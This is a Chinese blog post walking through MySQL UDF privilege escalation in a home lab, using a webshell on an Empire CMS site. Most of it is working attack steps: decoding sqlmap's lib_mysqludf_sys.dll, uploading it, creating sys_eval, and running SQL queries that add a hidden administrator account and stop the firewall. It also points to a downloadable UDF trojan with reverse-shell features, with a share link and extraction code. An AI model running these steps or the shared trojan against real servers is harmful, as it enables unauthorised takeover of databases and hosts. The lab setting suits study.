今天的这篇博客是mysql提权中的一种。
1. 本机搭建win7专业版虚拟环境
2. phpStudy 2018最新版本
3. 运行的版本是php-5.4.45-nts + IIS
4. mysql版本Ver 14.14 Distrib 5.5.53,for Win32 (AMD64)
5. win7 phpstudy中搭建帝国CMS,并拿到该网站的webshell
环境搭建链接:这个文章还没有写先占个坑
UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便。UDF官方介绍以及其函数定义请参考(http://dev.mysql.com/doc/refman/5.5/en/adding-functions.html、https://dev.mysql.com/doc/refman/5.5/en/create-function-udf.html),除了常见的UDF提权外,其实Udf还有更多更广泛的应用,例如https://github.com/mysqludf/repositories,就提供了非常多的应用:
lib_mysqludf_fPROJ4:一组扩展的科学函数,将地理经度和纬度坐标转换为笛卡尔坐标,反之亦然。
lib_mysqludf_json:用于将关系数据映射到JSON格式的函数的UDF库。
lib_mysqludf_log:用于将调试信息写入日志文件的UDF库。
lib_mysqludf_preg:直接在MySQL中使用PCRE正则表达式
lib_mysqludf_stat:用于统计分析的UDF库。
lib_mysqludf_str:一个带有MySQL附加字符串函数的UDF库
lib_mysqludf_sys:具有与操作系统交互的功能的UDF库。这些函数允许您与MySQL运行的执行环境进行交互。
lib_mysqludf_xml:一个UDF库,用于直接从MySQL创建XML输出。
(1)Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
(2)Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
(3)掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备root账号所具备的权限的其它账号也可以。这里允许root账户外连,(grant all PRIVILEGES on *.* to 'root'@'192.168.189.1' identified by '112358'; #这条命令就能让root用户指定ip连接)
(4)可以将udf.dll写入到相应目录的权限。
如果是mysql5.1及以上版本,必须要把udf.dll文件放到mysql安装目录的lib\plugin文件夹下才能创建自定义函数。该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录。
udf.dll这个文件不容易找到的(譬如我),后来才知道原来sqlmap里是有udf.dll文件的,就在sqlmap/udf/mysql/目录下,里面有windows和linux,选择windows,里面有32位和64位。
注意:
这里的位数是mysql的位数,并不是对方系统的位数。
sqlmap里的udf.dll是通过异或编码的,使用之前一定要记得解码,解码的工具也在sqlmap中,在sqlmap/extra/cloak目录下的cloak.py就是。
解密UDF
python cloak.py -d -i E:\Python27\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_
python cloak.py -d -i E:\Python27\sqlmap\udf\mysql\windows\64\lib_mysqludf_sys.dll_
解密之后会在当前目录下生成dll文件
利用中国蚁剑先在靶机C:\phpStudy\PHPTutorial\MySQL\lib目录下创建plugin文件夹,再将32位的lib_mysqludf_sys.dll文件上传到plugin目录下。
1. 本机连接win7的mysql
不知道为什么中国蚁剑和菜刀都连接不上mysql,只能在本地dos命令框中连接了,本地的navicat也能连接。
[外链图片转存失败(img-rlTvnpmS-1563874861717)(https://i.loli.net/2019/07/22/5d3587c8e47f530995.png)]
连接后,创建cmdshell函数发现结果报错了,这里需要注意的是,需要创建lib_mysqludf_sys.dll中存在的函数才可以,可以用十六进制编辑器打开lib_mysqludf_sys.dll,可以看到有如下这些函数可以创建
lib_mysqludf_sys.dll lib_mysqludf_sys_info lib_mysqludf_sys_info_deinit lib_mysqludf_sys_info_init sys_bineval
sys_bineval_deinit sys_bineval_init sys_eval sys_eval_deinit sys_eval_init sys_exec sys_exec_deinit
sys_exec_init sys_get sys_get_deinit sys_get_i sys_set_deinit sys_set_init
2. 用到的语句
select name from mysql.func #查看创建函数
select sys_eval('cmd','whoami')
create function sys_eval returns string soname 'lib_mysqludf_sys.dll' #创建函数
select sys_eval('net user zth 123456 /add & net localgroup administrators zth /add') #创建用户zth密码123456并添加超级管理员
select sys_eval('net user') #查看用户
select sys_eval('netstat -an') #查看端口
select sys_eval('net stop sharedacess') #停止防火墙
delete from mysql.func where name='sys_eval' #删除函数
select sys_eval('netstat -an') into outfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\test.txt'; #保存结果到test.txt文件中
第一次创建函数的时,创建的是sys_exec这个函数,可是这个函数在执行一些语句时,执行结果在另一个命令框中一闪而过,如果想要保留查询结果的话,就需要用到以下语句,然后通过中国蚁剑下载test.txt到本机。sys_exec () can run a python program
select sys_eval('命令') into outfile '路径\\test.txt'; #保存结果到test.txt文件中
不过这两个函数,都能执行提权的语句。
可以看到用户aaa已经是管理员权限,查询bbb用户也是管理员权限,不再截图。
上传木马时,phpstudy切换的版本是php-5.4.45 + Apache
在版本php-5.4.45-nts + IIS 中,UDF木马运行不起来,有报错。
通过蚁剑上传UDF木马到/WWW/upload/e/admin目录下(这个木马是暗月大佬写的)
1.在火狐浏览器上访问登录
2.里面有自带的一些命令,用户也可以自己写明令,然后点击执行即可。
3.这里创建cmdshell函数,有回显语句的提示
4.提交添加超级管理员命令。执行成功。提权成功
当然这个木马还有反弹shell功能。下面也有一些命令的提示
sqlmap里的udf(windows下)和解码后的udf文件,以及暗月大佬的UDF木马链接:
链接:https://pan.baidu.com/s/1c-lv5pEnx64bOTGecFeVCw
提取码:w9bp
参考:
https://www.bilibili.com/video/av41942769/?p=26
https://blog.csdn.net/m0_37438418/article/details/80289025
https://www.jianshu.com/p/5b34c1b6dee7